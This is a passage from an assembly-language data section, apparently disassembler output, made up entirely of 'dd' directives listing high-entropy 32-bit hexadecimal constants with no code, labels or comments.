		dd 597ABBCBh, 31E98029h, 609A82B5h, 2D57956h, 0E76A7EA0h
		dd 7D35CA83h, 6DA78190h, 4C1DF900h, 0BEC12234h,	585B615Ah
		dd 2BDDA9E8h, 0CD2BEC99h, 55B803F9h, 85017305h,	0CBAB0EF1h
		dd 55DA4E58h, 2750809Eh, 96992BC5h, 0C6DA8B25h,	2D5FB02Bh
		dd 6FD331D9h, 0DE181679h, 9FEE7828h, 5B0D1520h,	1AF6F89h
		dd 0DB19BB1Ah, 0A23B4B2Ch, 0C2A8B8h, 78A87D66h,	0CE827E88h
		dd 87172EF7h, 6F8E1B9Bh, 0C889AE85h, 0B4880AF2h, 49ED0774h
		dd 62716991h, 0BBA52E68h, 31C2B050h, 768D594Bh,	44EDFE30h
		dd 527BD08h, 726A7C0Fh,	50739DD8h, 44AF93D6h, 0FA880FFFh
		dd 31E5DA99h, 995A5BF0h, 9BCABA04h, 5FB88B98h, 5625626Ch
		dd 64B1CDF8h, 0F0F4601Ch, 896802B5h, 0E0E82D3Fh, 7A1FE7DEh
		dd 0F7B2D6F4h, 33452100h, 8FFF958Ch, 0FD90E20Eh, 3F2D2674h
		dd 0ECAA6EAh, 79184C21h, 791F658Eh, 4771080h, 0D8E7F712h
		dd 3B325402h, 0DC5F5B51h, 1446D4EFh, 5C60C12Fh,	0F125026h
		dd 5AED188Eh, 0D83EC6C1h, 90B96EF5h, 4F09BBC0h,	5B4D5C0Bh
		dd 39AF966Dh, 0EB68842Fh, 0BCAC567Bh, 0A7BFABA7h, 7D31970Bh
		dd 4AE9DDC8h, 537A3EE1h, 8220E813h, 540F3007h, 0C4EA1BE9h
		dd 321DE188h, 0F9CF8E6Eh, 496A3Ah, 1519DAADh, 9C86C289h
		dd 3850877h, 0C1AA62Ch,	1CCC7D2Fh, 0A2A6DF04h, 0E7B84102h
		dd 771A10A2h, 9500B635h, 21432FE9h, 898CD352h, 30264B9Ah
		dd 0B5315DDBh, 9D0A9289h, 3854DB51h, 0DC005AA3h, 1B4D5D51h
		dd 1897294Fh, 95C780E3h, 292FE8CCh, 0A709D59Dh,	15599C5Bh
		dd 96D42019h, 0ECF9504Eh, 250EB71Eh, 9FC0BCEDh,	0B560D6D7h
		dd 2DCFEE08h, 615650E4h, 0CC205A96h, 12B7B84Ch,	0E30DD204h
		dd 0B989508Eh, 639C0C4Bh, 0C88A5E0Fh, 0E5B5D3D2h, 59AF50EFh
		dd 0AB1BE905h, 0A3EF31B5h, 8CBF095Ch, 0C8385D64h, 0CD9D09E9h
		dd 6018E48Ah, 4A302F3h,	0FA8BE3EFh, 495FB8F8h, 9E12BC30h
		dd 678D096Dh, 0D9E75070h, 0C6D46FA9h, 161B02FBh, 0B5575B41h
		dd 801C9150h, 1779C69Dh, 7E3A0F8Ah, 8160C55Ch, 14B0E1EFh
		dd 4ABD7F48h, 0E70561C9h, 0AD4B86B9h, 18EE829h,	30DA8AB7h
		dd 61F5B06Eh, 26612BE7h, 956F8D29h, 6B2EE807h, 64F66D0Dh
		dd 9F83601Bh, 42FA0280h, 9607218Bh, 560A7DCh, 898A3h, 6F503C4Fh
		dd 0B355D019h, 57445217h, 0D754D0BFh, 0AE0180D3h, 59487ADFh
		dd 23505061h, 0E201B10h, 385111C3h, 3FAE80FDh, 96FC30B8h
		dd 0C4494D9Fh, 0B6C8FF74h, 371B1355h, 6312AFC0h, 0A22BAEA1h
		dd 0BD21A820h, 0DC59B289h, 7F2212ADh, 0A0F00280h, 4809AB90h
		dd 710DFF23h, 2E7846C8h, 0DC76D4BDh, 2E645600h,	25B92CC4h
		dd 0A8FB260Fh, 1DA108E8h, 52167124h, 10038EF2h,	91B0C1DCh
		dd 0A1D80AD8h, 0AE47FAB6h, 7A353557h, 5BC882BEh, 813651F5h
		dd 78947DFAh, 9C67E454h, 0DB00E773h, 0C32F6977h, 5973316h
		dd 458FE3BBh, 0AC20AA59h, 27ED0EE0h, 0D9619674h, 12C04A19h
		dd 0EEE35F53h, 0F0D2862h, 0B00AED0Ah, 224B1852h, 77D55CB1h
		dd 9D23024Ch, 0DF5545D1h, 0E55D8662h, 5552560h,	2968A379h
		dd 4B7C2D7Eh, 4FB0AD8h,	312FDBACh, 799540D8h, 2390EB62h
		dd 2500E51Dh, 982FF8A3h, 167830F4h, 0AA0504C0h,	0E95F2C30h
		dd 0F40997AFh, 0CD71E8D3h, 24076330h, 8A0BBE3h,	6013345Dh
		dd 813634EFh, 20908E81h, 5EBF6138h, 0F302DE10h,	99DFE30Bh
		dd 5E6D7812h, 0B114BC34h, 0AA041D75h, 86ECE3C0h, 0B1600550h
		dd 8C8D0F41h, 0D809B864h, 85906195h, 0B6EF6A99h, 3912E007h
		dd 7DFB0962h, 4A03712Bh, 4C4FA39Dh, 0D305336Eh,	0C1EF0D78h
		dd 8244B73Fh, 18FED5E0h, 809DB706h, 0C2E751A6h,	909540C4h
		dd 926422h
		dd 0AC85F146h, 0EBC85ADBh, 50D74904h, 2CBC4430h, 0FEA6E4Bh
		dd 0C0F61393h, 751DA8D3h, 0A2BF1307h, 3200FA2Eh, 0CE92F8BBh
		dd 2EDEB738h, 0E76D00F4h, 0EFB854AEh, 1E2CABEEh, 50B6F78h
		dd 92969216h, 775BFDC9h, 94CE757Ah, 0D7132F90h,	6A78D62h
		dd 37CF6BA0h, 927C402h,	5E7780D2h, 0B526F6Ah, 96D72E4Ah
		dd 0D44FB6DFh, 9B8B6C01h, 44D69403h, 146A086Fh,	376DFF1Dh
		dd 9DD5097Ch, 1B654682h, 44D69C57h, 5602BF95h, 6A416ECEh
		dd 874D402h, 57010869h,	2436F781h, 0FB605DD5h, 9E82290h
		dd 0AEA3B304h, 94FF4738h, 0D917AABBh, 0B9FE30AFh, 2132A90h
		dd 7E30B2F4h, 5E8D76h, 0E771BA81h, 3EC211A2h, 0C2E0BC25h
		dd 0DC6ED671h, 0A5978B5Ch, 0E86ABFh, 0DCACB6Eh,	1C05E4B9h
		dd 90BD29F0h, 25E93D1Dh, 928FE50Ch, 36FD55DFh, 9D00B3BCh
		dd 1899055Fh, 1C511DFCh, 0E5C9BD09h, 0D301D03Dh, 475F0F49h
		dd 0AF73352Fh, 5565B020h, 4D8E076h, 9AE53097h, 0EBC5C150h
		dd 3EF921D3h, 0ADF0EBB6h, 0C02D5149h, 42BD7927h, 551602F1h
		dd 162A0D09h, 906BAF29h, 0AEC0AB59h, 0ABD350D0h, 5E900D0Eh
		dd 0DDC8522Eh, 4D0A04A9h, 0AFFAF592h, 330B757Ah, 6B81B98Dh
		dd 7B14220Dh, 0E4F0DEB6h, 0B2025D74h, 0F42F84F8h, 0C04FC0C9h
		dd 15B09780h, 0F800142h, 0B0DE25B7h, 0E601BC70h, 87EB8070h
		dd 0F06071E4h, 90B40D1h, 347D8D16h, 20CD8ABCh, 12266845h
		dd 0F88C8B6h, 788E0217h, 0F102E9BEh, 4AABE65Fh,	915BD80h
		dd 5D5B95B7h, 0B9520B98h, 0D520BB05h, 1DD55F5Ah, 5A18B81h
		dd 0D7DFBC05h, 890A4AAFh, 0F7804191h, 2F002F99h, 6777E781h
		dd 0D5395C8Eh, 5A107D10h, 0FBE5B7E1h, 62B7D1ECh, 192D1EE8h
		dd 3DB6E903h, 79982B4Dh, 118A771Bh, 0D78BB28Bh,	2404CA45h
		dd 0BB1E2Bh, 50858B1Ah,	474F554Ch, 47A585E1h, 3C6052C1h
		dd 0C9FED6EAh, 9FA33B8Dh, 61FC8A0Dh, 1BF1C232h,	4AF1C500h
		dd 0C8C385Dh, 0D8E3F668h, 1C5A3D62h, 0E22E6F3h,	15D9DAC4h
		dd 0FEB24948h, 6B755EDEh, 11971178h, 0B9143468h, 0D1578967h
		dd 0BD2B8621h, 6FB07999h, 3F7A9551h, 8D1DD9E7h,	8101E059h
		dd 43413EE6h, 602F6109h, 187C8279h, 8A8B379Dh, 1785CE7Fh
		dd 0FE4CD485h, 9B09B86Fh, 0B05D01C0h, 41859D4Ah, 0B5CE9813h
		dd 4EDDB965h, 0E894980Fh, 0F7C89601h, 97DF81FDh, 0DB9C162Fh
		dd 0BF2780A9h, 6E3D9775h, 9107964h, 71F88BFCh, 89D82D6Eh
		dd 8D6B0E41h, 112DECAEh, 607BDCBDh, 0B63E7CA4h,	733DC20Bh
		dd 413FDDDDh, 656B30ADh, 0E83F02DEh, 0F0863A02h, 0DF702553h
		dd 0C0A262E8h, 4D771495h, 6729C8FBh, 0F422E9A0h, 4DD705CDh
		dd 0EDCCEBD8h, 5A2A1809h, 7D0E8B21h, 0A98DF038h, 0D3702FFBh
		dd 4BC18529h, 0C0B4CB12h, 3F5ABABBh, 8F949756h,	3D975370h
		dd 80B21FFBh, 0BA7AA1F2h, 98813E8h, 2AD200FBh, 0ABFEE5CCh
		dd 0F300AD4Eh, 0DD566C03h, 586A46BDh, 0CA09275Fh, 41185B02h
		dd 0D3B51AB3h, 0D98504C8h, 68B82421h, 0B3409FA3h, 2C409996h
		dd 5CC809BFh, 73790C48h, 1802A245h, 571AA995h, 59449F1Ch
		dd 20604A57h, 3F78452Ch, 3F7023Eh, 5A402530h, 5F619050h
		dd 7CBF0560h, 0EB186FA4h, 0E321D0C8h, 256A6B1Dh, 2FBEC600h
		dd 3DE8408Eh, 0C5254BB8h, 4518E61Ah, 31A52128h,	18762ECDh
		dd 95757FECh, 356B84D1h, 2FD18530h, 5908EA7Bh, 0E6D6270Eh
		dd 0E11870D6h, 0D1093B08h, 7CF46EECh, 263D4032h, 0F0E13C1Fh
		dd 56098840h, 0DD0FEAC1h, 0BD0B6818h, 5625CD5Eh, 0F78CD8BFh
		dd 7935C500h, 6B5E6809h, 0AD1B48B6h, 0E05CDA25h, 0A91EA11Fh
		dd 2DE7EA4h, 2A0D75DEh,	0AA54C47Dh, 41186FA5h, 30143679h
		dd 1B0066B0h, 533F512Eh, 9D5B5F57h, 1A5919D3h, 6302A318h
		dd 3154EDC1h, 73C5E11h,	35F90FE9h, 0BDBEC886h, 96EA55Dh
		dd 7B0BD380h, 0AD88151Eh, 1B452581h, 25982B55h,	1DD21BDh
		dd 1082DC49h, 2511581Dh, 0FDFDCAFAh, 2940A8EFh,	43E019Ch
		dd 949F77E1h, 89F905D2h, 0DB8DB5EAh, 385FBB97h,	128CBF19h
		dd 0E101F3CAh, 0B19B7AC8h, 9D9A5680h, 0C50EB3E0h, 0C53CBF96h
		dd 38F82B81h, 0A758F83Dh, 0F7224D18h, 0B97F9B7h, 1EBD57C3h
		dd 275759A7h, 0FFA7B63h, 618D6802h, 6D243BB9h, 35D13B72h
		dd 8F6ECFh, 57E11EF2h, 260E45EAh, 91C55FC8h, 1FBF1F71h
		dd 8D5549C7h, 2CBFD5BBh, 0DD50320Ah, 0BD38784Bh, 0A8A23352h
		dd 40D8CFDDh, 857797A5h, 5EFD923Ch, 0BF6220BFh,	8000A4E4h
		dd 66605B7Fh, 17CE54BBh, 0B5AD9D89h, 0E00BC5D0h, 0CB60471h
		dd 5E2F198Bh, 0E7817830h, 95780109h, 44735911h,	0B18F8C33h
		dd 4BE92340h, 0B083E743h, 5B965822h, 0C29FAC78h, 5C32F380h
		dd 0BA4A7776h, 0DC5709D6h, 0C3EDAB1Eh, 578AD6C2h, 0EF605F16h
		dd 13B1BF49h, 0E22752E2h, 0AB03DDC5h, 1828AA7Ah, 9551B5D4h
		dd 8D7B5840h, 1AFB0011h, 0EB87F351h, 8C02C48Eh,	0C304D654h
		dd 824FF995h, 0E299D23h, 914C3757h, 6C2D8515h, 162FA0F8h
		dd 57E15Ch, 20C59AAEh, 7090C04Dh, 99B06F4Fh, 42545C62h
		dd 0E7036912h, 2D962CB2h, 0EE4C0811h, 50270222h, 0BB62605Fh
		dd 0BD8E5E9Ah, 87C1C4DCh, 0F6FE75ABh, 0BCC7A0E7h, 3DCA0EDBh
		dd 0DF25450Bh, 0FE8525CBh, 0AB865A9Eh, 0E45D877h, 0C52A6A78h
		dd 9D092D80h, 614BF252h, 62D0B89Ah, 3CE51AC0h, 71041286h
		dd 112B5DCFh, 0D700D5B2h, 53219F2Ah, 0BA4A4B15h, 0CD3E1DE7h
		dd 9F652B4Bh, 0F823B385h, 0D5DB7782h, 0FB4BCFE4h, 6EAB9F85h
		dd 57D70071h, 916F9890h, 0DA5CC017h, 0C67DA5BFh, 95BD6E4Ah
		dd 98C18ACh, 0DE1F3816h, 0B82A8455h, 0A2B7BEBh,	0AB29BDBEh
		dd 0A51FB50Ah, 86355749h, 0A5801C91h, 43F45940h, 4E3F5405h
		dd 2AE3F8F9h, 1398A2Eh,	245357BBh, 69173E3Fh, 0C64374BEh
		dd 96580CB3h, 0E791646h, 0F9672CBBh, 26BC314Ah,	0A95FBDB4h
		dd 0F510C23Bh, 42514E5Ch, 0B009B73Bh, 46623A1h,	6405607Ch
		dd 154904D7h, 50F00917h, 3271179h, 0A2E77850h, 4B0C5D8Fh
		dd 24BC9E8h, 1AC8D89Bh,	0F5217BC2h, 0C6B73BE4h,	2C6E9564h
		dd 4060CD97h, 3C799DBDh, 0C5035A18h, 852489B8h,	0F551422Dh
		dd 0C9259A4Eh, 0E94B5E12h, 1C6F827Fh, 0EB34D790h, 1CDCB1B6h
		dd 364E0ACh, 0D9BD0986h, 0C268B9FCh, 0D3C60AB7h, 2EB20F74h
		dd 8496AC60h, 7995953Dh, 787EE944h, 0C3648D4h, 0E900E17Eh
		dd 0FF71F453h, 7B7B7h, 0AB923343h, 0B5721242h, 5E4EDE25h
		dd 0C900F464h, 0E4D2E5F8h, 45AFA4h, 0F38161B1h,	1DDE7809h
		dd 0BF4B1897h, 11010B53h, 49F99004h, 0D88A6087h, 5061D781h
		dd 0E2B32Bh, 4CE38190h,	156BBFB4h, 83FD9D33h, 0A6D36A2Fh
		dd 7A23907Bh, 2F660ED4h, 0B7F27BC6h, 1B23A162h,	9903D20h
		dd 0D2A22EDAh, 31B16C02h, 0DE8FC0Dh, 7813B819h,	0E62E5AB5h
		dd 3016A2D0h, 0B750F086h, 24484A0h, 81BD4AB3h, 0F9E52D2Eh
		dd 2CDDE103h, 8D89843Ah, 2EC95EEFh, 0DE48F4FEh,	0E551743h
		dd 1B2FBCB2h, 0D35A575Eh, 3AD051ECh, 19B2EEF6h,	2DC3230h
		dd 25694DEBh, 41EDD1FFh, 3A5480E0h, 0FB190298h,	35D1C242h
		dd 6F23C43h, 6F71F356h,	20C78011h, 37B50226h, 0B81A0138h
		dd 6A7BD445h, 7025B882h, 0E0FE5028h, 9024406Dh,	0E60EBFF6h
		dd 0F303ECB2h, 76E197E6h, 192BD4C9h, 6682A402h,	0CC6080BFh
		dd 815300C4h, 0B3C9EC7h, 0E9255F13h, 71AA5C35h,	427125ACh
		dd 93A9110Fh, 9E5E00Bh
		dd 0EFFFB500h, 95C06BCFh, 10079AB1h, 1FED821h, 6B708C20h
		dd 38D98B50h, 0A7204FA7h, 4B6A8Ah, 0A8904721h, 4201F8F5h
		dd 12498048h, 29AE1D3Dh, 4A5A384Ah, 0D4418A99h,	0E22A1991h
		dd 259AD628h, 7C8EF381h, 2BD33001h, 0CAA7B59Ch,	91E00431h
		dd 0BA4A61ADh, 0EB0F186Eh, 0B1A0830Ch, 0E59D89D2h, 0D780B3C2h
		dd 0D5A2C1ABh, 734F5FC2h, 0EDCAD54Bh, 306F90DFh, 0DAE20769h
		dd 0C0B68718h, 0A5E073CAh, 54C7CAB7h, 5328C4A0h, 0E04200AFh
		dd 0C18AE8A4h, 9BC615Eh, 12D99D08h, 3D29BB00h, 4BE61C7Ch
		dd 4D9A8870h, 0C7902C1Ch, 42481440h, 0B671E4C1h, 9D036086h
		dd 999510D5h, 80C2ECBAh, 3845B93Ch, 35D99789h, 0C8B62430h
		dd 3710BF57h, 104F36Bh,	0BA5F8BABh, 850E31FEh, 89C00425h
		dd 0F48FC381h, 0C46E4AE6h, 5AA4A8ADh, 4A8B348Ch, 0F8A0D0FBh
		dd 4D0FDB81h, 0A773611Bh, 0C09760D1h, 11FDAA01h, 0E680C078h
		dd 1AF641BDh, 0C9170E01h, 55852914h, 2E5E1064h,	45BEE961h
		dd 49FBA08Ah, 444C4E70h, 0CAE139EFh, 6B8A0C9h, 0E9F9BB02h
		dd 7A56235Eh, 0A5BD22EFh, 32552405h, 0B52930DFh, 0F7B9F15Eh
		dd 38DD3DC9h, 21E0C6Dh,	0E8E4661Bh, 42765D31h, 25B8704Bh
		dd 946C6379h, 5F0F84Fh,	0B4088220h, 0BE600067h,	64404885h
		dd 296118C9h, 858653E1h, 0BB188C5Fh, 0AD01CE6Fh, 8BF27C38h
		dd 0BD2900F9h, 92399609h, 5A6EB3FDh, 0C0014CE2h, 0D424BC62h
		dd 16BBF478h, 0FC81FB07h, 0AFAAB95Bh, 78B7532Fh, 10240BDh
		dd 0D471C9FAh, 2D8A56F7h, 0FC70EAD3h, 9F6E12F9h, 80C4E3C5h
		dd 0A7DA7B2Fh, 0FCD3247Ch, 0C81088Dh, 37C02B0Bh, 13B8556h
		dd 0A0D1BF23h, 51A42C49h, 1DB50E4Dh, 75834EB0h,	0BB00EC31h
		dd 3B56A64Ch, 0B2CF614Ah, 3012454Ch, 614504DEh,	9675AD25h
		dd 0D3A37104h, 14B2F0E6h, 5EB7E230h, 2ABCF14Eh,	0BD614837h
		dd 930E2B05h, 0B5E71DB6h, 11FAF27h, 36099760h, 5C446951h
		dd 21E22C5Bh, 118E37D7h, 60AD8E1Ah, 0B316436Eh,	35D7A165h
		dd 0DF59496Fh, 46D6045Ch, 3BF90115h, 0D7B7E1FFh, 1F72282Bh
		dd 2D690450h, 0CB3305Ah, 227278Dh, 6A56FFD0h, 0B216E151h
		dd 8C2FFA90h, 0C4E36DD9h, 468ACC9h, 8FDBD89h, 4CC446ACh
		dd 1E9EBB01h, 0C4FDA080h, 0AC654235h, 0CCC99EEh, 6A578925h
		dd 25D55088h, 0E6D96D16h, 254EF0EBh, 9F5B5F5Bh,	1C0E0911h
		dd 0D44F8863h, 0A3993EC2h, 0B7628F56h, 0B74075BFh, 0A8BAF3DDh
		dd 9E0DD0B7h, 13B7A7D6h, 1930BB80h, 2706E668h, 9071D1C7h
		dd 0F1CEA600h, 380859Dh, 0A706D960h, 22C8FC98h,	0DB30BD90h
		dd 0FD198881h, 0DB2E4F57h, 604F8EECh, 0D593F24Eh, 0DE3A1C5h
		dd 606555C6h, 40F06DA7h, 72EF93Ch, 8D290E12h, 0BD1722ABh
		dd 54DC4A55h, 4CEFA767h, 12615540h, 0B73B12D2h,	718488B1h
		dd 603A5F61h, 0F1F0988Dh, 0EA59701h, 6EB4EED1h,	0BDCFBF90h
		dd 2B6FF261h, 5077863h,	21FF808Ah, 2044681Ah, 91B5B38Ch
		dd 0C8E4A595h, 3EE217E5h, 0D814A15Ch, 22DB776h,	0B7C652BFh
		dd 1880D63Dh, 0CACCC160h, 0B2BA0B78h, 538BC05Fh, 0A58935D7h
		dd 3F1678ECh, 7F122596h, 0DAA9F012h, 50C5B3D2h,	19DD0923h
		dd 121566A7h, 0FA071597h, 0DD1F9D49h, 1791F135h, 19828B81h
		dd 81E82AADh, 4E35A996h, 8FD190F1h, 0B26AAA49h,	9FE30074h
		dd 0FFFA6720h, 0ACE4095Ah, 8980BF28h, 0B70DEA6Fh, 0DA5BB527h
		dd 0E3539519h, 38946F78h, 0E6A56122h, 1B64F96Dh, 0E5D8CE60h
		dd 1278F21Ah, 15B402FAh, 8DB52232h, 0E9684768h,	0DE385E0Ch
		dd 0B5DAC056h, 0A51679C8h, 3A21E632h, 52E3A9D1h, 0EDD695DCh
		dd 523A94DEh, 0E8449540h, 2ABB5002h, 0D72873CCh, 91268364h
		dd 0CD723129h, 0CE606FA3h, 0BFBCE59Ah, 1012C4E4h, 5205612Fh
		dd 0DBEB24A5h, 0B7F6564Fh, 0DDF29CD2h, 0AA149185h, 9F354538h
		dd 2C7D9410h, 85C34589h, 0D2619BFAh, 0E2502EF3h, 0B7E31270h
		dd 0A83FC41Eh, 6A97EEF2h, 31E701CCh, 9495C22h, 7A2AF17Bh
		dd 74A097B7h, 800E629Ch, 0F2549A67h, 2384FEB2h,	8F28AB04h
		dd 37E40AEBh, 59F736BFh, 27B3730Ah, 2E2EE1F8h, 0BFC0C879h
		dd 9337DE1h, 59A1739Dh,	0B06B1916h, 509531B9h, 0D5389586h
		dd 354ACB80h, 16ACBBADh, 6E72178Ch, 1690BB62h, 8B8D25h
		dd 0E7FD953Ah, 2DC435FEh, 20ECCF4Ah, 5621EA02h,	0C2846158h
		dd 4852EBBDh, 0B3797FF5h, 9299658h, 70B7428Fh, 3188827Fh
		dd 3C3D750Bh, 1ACC7102h, 0B2CBE39Ch, 318E9406h,	0AD1C5F56h
		dd 0A69D6A2Fh, 5287817Fh, 24B82A1Dh, 69308FCBh,	0B9952599h
		dd 122BFC8Eh, 81AADB6Dh, 6FD0733Ah, 9B89172Bh, 80F48F46h
		dd 4FDCB670h, 98A113E0h, 2073B8E6h, 0EE607403h,	0F64B9D79h
		dd 0EA5285ECh, 6A4A57CEh, 9FD41656h, 0E2E6EF30h, 12069081h
		dd 0B3B440EAh, 0BD0905A2h, 0A9E30649h, 0B9224E72h, 8C1DBC10h
		dd 56AD4300h, 830FBD5Ch, 88652759h, 5D4A4258h, 0AE9352B2h
		dd 3AB9D434h, 60458CC8h, 0A085A6F0h, 62FD8A09h,	18C55696h
		dd 72737355h, 0ED044DFBh, 0FAA5800Fh, 0FB80D268h, 0C5488D10h
		dd 25C1FBBDh, 0B5BDC54Eh, 1F3A0045h, 921951E0h,	23842916h
		dd 481D5609h, 0B52B8DCEh, 821AEB47h, 0A5CD5F46h, 86D6B6E0h
		dd 0C1AD0184h, 0F1B50997h, 0C4FD2B30h, 1E9FA180h, 66B50584h
		dd 0E6020016h, 0AD7FDA63h, 0D500D31Ah, 0A2E58885h, 48F58D17h
		dd 3448114Bh, 0B8BC354Dh, 2B78110Bh, 0C4AB2862h, 0A2EEB460h
		dd 8ED50012h, 1676430Eh, 73955C88h, 0C4385A17h,	4003C18Ch
		dd 0A14BEAE5h, 0AA784B11h, 655E2E6Ah, 3FDFE0E2h, 5BD8A926h
		dd 57318D0Bh, 0CCADD3B7h, 4AB60762h, 54BB667Ch,	0D324B8B8h
		dd 0ECFF20ABh, 770E7A9Ch, 1CC7C3EEh, 5B2631C7h,	0D1F9E990h
		dd 69C91202h, 8838E2D9h, 95898234h, 0B7550D4Dh,	801A9180h
		dd 831F93DCh, 7B6425A9h, 0E78038C0h, 2E8F744Bh,	37B01E56h
		dd 34260EB9h, 1D08AFD4h, 0A8E90925h, 102D8956h,	0FCDF08FBh
		dd 0C2E0C0h, 0B78FFA97h, 8B5D91D5h, 0B79BC14Ah,	972DBC80h
		dd 0DBFC612Fh, 14E39200h, 0D6DC64BBh, 0EF73B568h, 30491959h
		dd 265AB36Ah, 6860F650h, 0BE02D27h, 0D61BEE5Fh,	0ED25F959h
		dd 0EF9C0BDh, 0A65FCF74h, 0E52EEC5h, 0C4B7DBAAh, 0D5C465B5h
		dd 2FC53BBh, 917BE7F2h,	0C6578A87h, 51B01619h, 0DB278995h
		dd 65557274h, 0B5F82573h, 90ABEF00h, 60503EB7h,	29815E0Fh
		dd 0EAAC7F2Ch, 29906182h, 6C9D9ED8h, 1EDB06ECh,	0A26B2868h
		dd 0F2278BBEh, 405AAF07h, 0DBE55331h, 3D847D4Bh, 0E804EDAAh
		dd 4DCE1D8Ah, 0FB68D30Eh, 569F6D1Ah, 1D46D648h,	639BAB00h
		dd 0DF8DB139h, 0C2380316h, 82EBD764h, 20FEBD49h, 25385627h
		dd 9B7053DBh, 799504DEh, 0B8FA5E84h, 4AD3A351h,	0BCBCAD2Ch
		dd 890953Fh, 3100281Eh,	11A7459Dh, 1EAB36Dh, 2332CC29h
		dd 6B52C4A9h, 6A5F8102h, 0E02DCD02h, 8AF26F63h,	9866B709h
		dd 0CC107F75h, 8C3FE0C4h, 0DD5592B0h, 505B7F44h, 9C9378Ch
		dd 7FB769EFh, 0B74DE929h, 0B73C80CFh, 249F6178h, 607A71DEh
		dd 76A1E0Dh, 267B0A2Ch,	0A9CC920Bh, 6004CFCEh, 43CBEDCEh
		dd 0D5B3DD04h, 38ABD2E9h, 0FC906182h, 6BD0AE9Bh, 0DC540BE2h
		dd 0F676DD65h, 9014BB01h, 362E5D2Dh, 0F93A1CC7h, 0C48B2D50h
		dd 51C70A35h, 0A5AC3E95h, 0D720BAD5h, 8D00A635h, 0D1600813h
		dd 26F725CBh, 0F454D991h, 7D0049A1h, 848AA61h, 90DBEE1Fh
		dd 52520D0h, 60AE5B4Ah
		dd 2CCB81FDh, 12C2BE58h, 0EDE734D1h, 31AF205Ah,	9701EF77h
		dd 0FCB5D9C1h, 0B730FF6Ah, 462A4AB9h, 43037924h, 2C95B517h
		dd 8EA088A7h, 61008912h, 3586397Eh, 0F88074DCh,	9F319788h
		dd 0C008C2D7h, 0D5B0DB0Ch, 16CDE6F7h, 0ACF570E6h, 95EF104Bh
		dd 54A5BD88h, 0E99D858Fh, 9D8EB30h, 1AF364B3h, 0C193A471h
		dd 0D9D10797h, 0BA512FE7h, 0B52AFCB8h, 0F846FA9Bh, 33712E00h
		dd 0FC4DFF8h, 0ED7950A0h, 0D3F60918h, 205007B1h, 97611640h
		dd 21BD3B5Ch, 0D1053C03h, 0C8CD8531h, 4C9C622Eh, 25266D42h
		dd 0FF07AA85h, 0FD622950h, 50715C09h, 56212C78h, 0A09114Fh
		dd 637E9F9h, 71DA8A09h,	6664A56Ch, 13312544h, 0AB1FB5BDh
		dd 2FF9BE28h, 0D1AA9D0Bh, 0B24B2026h, 0BC0C5A90h, 9B33A008h
		dd 0DEA29618h, 0D98A3C12h, 0BA5F94FCh, 8612916Fh, 4A63E3F8h
		dd 0A85E38A3h, 131920B1h, 811DB529h, 555FB965h,	0B879BDF5h
		dd 55ECA06Dh, 886CB52Ah, 0D4809Ch, 1DFA3D73h, 59B501FCh
		dd 0C02B53C3h, 0E6FD84BAh, 97C61ECh, 29D75702h,	0D515FD9Dh
		dd 0B5959EBEh, 0BFC90027h, 72CC2137h, 0C27843BBh, 1F9E3ECAh
		dd 0B25609A7h, 0D8F3D864h, 5AD9B750h, 0D776B22Eh, 62A88BADh
		dd 0A4109C01h, 0D28DA20Bh, 0F651FEh, 54348E9Bh,	650084FEh
		dd 0C5E47935h, 1266310Ah, 0E2861CBFh, 0B2BAB48Fh, 7E7C9034h
		dd 0C2DEB84Ch, 0F5BBA5BFh, 810B54CCh, 0D72C58DBh, 0B8DF5604h
		dd 1BA8A227h, 0EC56B9F7h, 0DC0BECEh, 27579442h,	34149722h
		dd 5C04A325h, 67F6F433h, 66B2409Dh, 8A394B84h, 603D3454h
		dd 0CB58DBAFh, 40E5D86Fh, 37B56019h, 0BB9F0051h, 4BCA51F3h
		dd 0FC85C101h, 84DB531h, 2D9EAC04h, 11E152F8h, 842C85BDh
		dd 7AEB01C7h, 0E046020Ah, 0C2F88A60h, 3457503h,	28D54258h
		dd 39E21BFEh, 2009BB40h, 35557A0Eh, 9795A322h, 0AB99FED9h
		dd 3D33C82Bh, 0E8D59C0Fh, 0F46E178h, 256F4012h,	3320BB4Dh
		dd 233FDFh, 0B9E30D24h,	0EA078AE2h, 1BD6D513h, 8B0416B8h
		dd 0EF585AFEh, 0E082B6D8h, 9E693E74h, 9158737h,	2361B5FCh
		dd 1675C1BDh, 789FE0A3h, 0FC752CD9h, 624BFD16h,	0E00D6F09h
		dd 0DF068B1h, 5376C79Ch, 0FE366BD4h, 5C1044ADh,	0A522B00Fh
		dd 0DED42B6Ch, 0B7A1008Ch, 20E5D647h, 41AAB7D7h, 0D89F0F00h
		dd 0D4A63E76h, 3210BAE0h, 0C01C3F2Dh, 9590CBF7h, 1564516Dh
		dd 70909A61h, 60880A1Fh, 40AD982Bh, 0EE058A04h,	258D2961h
		dd 0FEEDD5FBh, 5E008A7Fh, 90FF107Dh, 0B849E9B0h, 6DF5F9AAh
		dd 0E7FE122Eh, 6E40B03Dh, 0F37C80h, 18BB8F8Eh, 16DB652h
		dd 9998516h, 0B1D2A1ADh, 5A257825h, 522BE4B5h, 0F07FB6CAh
		dd 4BC21D1Fh, 30C58D52h, 74081D3h, 1583BF89h, 0EBF51CD5h
		dd 0D0B7B48Ah, 4AFE220Bh, 0EAB03412h, 0A829B6E1h, 0F5004EB8h
		dd 22D4C6CEh, 0B673B750h, 665600E2h, 5FEDDFBBh,	9C8DFC4Bh
		dd 21F1823Fh, 0A54C6800h, 20245EF1h, 0B956701Fh, 0C7691F18h
		dd 91166A44h, 0A6B307A4h, 195449EEh, 8D0D17DCh,	9A7EFB85h
		dd 22FF6428h, 9D710839h, 0C4500DCBh, 0FD58039h,	0CD940070h
		dd 7DDA899Dh, 639AECB4h, 150BBBA2h, 0E694CF6h, 901A4B45h
		dd 971B6D73h, 1591B237h, 50097280h, 5B27DC8Ah, 70595B61h
		dd 3407E978h, 0ACC55E69h, 4B53F8E9h, 9CF8BBAh, 62FDB509h
		dd 0C06DF575h, 93C15713h, 84C346E9h, 0D2319BEAh, 21E132BAh
		dd 40C342DDh, 0B5153557h, 95741867h, 0BD2AC4FAh, 0CAC99D15h
		dd 457371FBh, 0DB9056F5h, 0AAB38407h, 7087E1ABh, 3C52EF30h
		dd 59C2CCD3h, 19C77D81h, 9E4AE0CFh, 0A5477C79h,	29C155ECh
		dd 2A321595h, 12016BDCh, 0B71B1DB5h, 48B312EBh,	0C94E78E3h
		dd 2E8A7FE8h, 57C38101h, 2028EE45h, 379AF968h, 2DDD8295h
		dd 891C1432h, 5525318Dh, 1516E8B7h, 0B8146161h,	41E49940h
